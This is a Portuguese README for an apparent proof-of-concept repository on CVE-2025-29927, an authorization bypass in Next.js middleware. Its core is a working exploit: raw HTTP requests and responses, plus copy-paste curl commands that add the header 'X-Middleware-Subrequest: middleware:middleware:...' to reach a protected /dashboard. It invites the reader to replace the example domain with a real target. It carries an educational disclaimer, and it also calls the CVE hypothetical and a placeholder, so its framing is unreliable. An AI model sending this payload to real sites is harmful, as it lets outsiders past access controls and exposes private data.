
Bypass de Autorização no Middleware do Next.js
Este repositório contém uma Prova de Conceito (PoC) para CVE-2025-29927, uma vulnerabilidade hipotética que demonstra uma falha no tratamento de middleware em uma aplicação web. A PoC ilustra como uma requisição HTTP especialmente criada pode contornar a lógica de redirecionamento para acessar conteúdo restrito, como um painel de controle. Este projeto é destinado apenas para fins educacionais e de pesquisa em segurança.
Aviso: Esta PoC é destinada ao uso em ambientes controlados com permissão explícita. Testes não autorizados contra sistemas que você não possui ou para os quais não tem consentimento são ilegais e antiéticos.
Para seguir esta PoC, você precisará de:
abc.com) executando uma configuração vulnerável (software/versão específica a definir com base nos detalhes do CVE).curl (curl.se), Burp Suite (portswigger.net/burp) ou um script personalizado.CVE-2025-29927 (placeholder; substitua pelos detalhes oficiais do CVE quando disponíveis) parece explorar uma má configuração de middleware ou uma falha lógica. A PoC demonstra que adicionar um cabeçalho personalizado (X-Middleware-Subrequest) altera o comportamento do servidor, contornando um mecanismo de redirecionamento para acessar conteúdo restrito. Isso provavelmente está relacionado a como o middleware (ex.: Nginx com Next.js) processa sub-requisições ou valida cabeçalhos.
Para mais informações sobre vulnerabilidades de middleware, consulte Segurança de Middleware da OWASP.
A PoC consiste em dois passos: uma requisição inicial sem sucesso e uma requisição modificada bem-sucedida. Cada passo inclui a requisição HTTP, a resposta e uma explicação detalhada.
Este passo demonstra o comportamento padrão do servidor ao acessar o endpoint /dashboard sem cabeçalhos adicionais.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Tenta acessar o endpoint do painel.User-Agent e Accept imitam uma requisição típica de navegador.307 Temporary Redirect: Indica que o servidor redireciona o cliente, provavelmente devido a autenticação, autorização ou lógica de roteamento (ex.: redirecionando para uma página de login).Server: nginx/1.14.1: Identifica o software do servidor web./dashboard. A ausência de um cabeçalho Location nesta resposta (possivelmente omitido por brevidade) implica que o destino do redirecionamento está em outro lugar.Este passo introduz um cabeçalho personalizado para contornar o redirecionamento, recuperando com sucesso o conteúdo do painel.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Um cabeçalho personalizado adicionado à requisição original. A string middleware repetida pode explorar uma falha de análise ou validação na pilha de middleware.200 OK: Confirma o acesso bem-sucedido ao conteúdo do painel.Content-Type: text/html; charset=utf-8: Indica uma resposta HTML, provavelmente a página do painel.X-Powered-By: Next.js: Sugere que a aplicação usa Next.js, um framework React que frequentemente depende de middleware para roteamento.Cache-Control: Impede o cache, típico para conteúdo dinâmico específico do usuário.Content-Length: 30174: Tamanho do corpo da resposta em bytes.X-Middleware-Subrequest provavelmente engana o middleware, fazendo-o tratar a requisição como uma sub-requisição legítima, contornando a lógica de redirecionamento. Isso pode indicar uma vulnerabilidade na forma como as sub-requisições são validadas ou processadas.Siga estes passos para replicar a PoC usando curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Saída Esperada: Uma resposta 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Saída Esperada: Uma resposta 200 OK com o conteúdo do painel.
Nota: Substitua abc.com pelo domínio alvo real se testar em um ambiente autorizado.
curl em requisições HTTP.Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.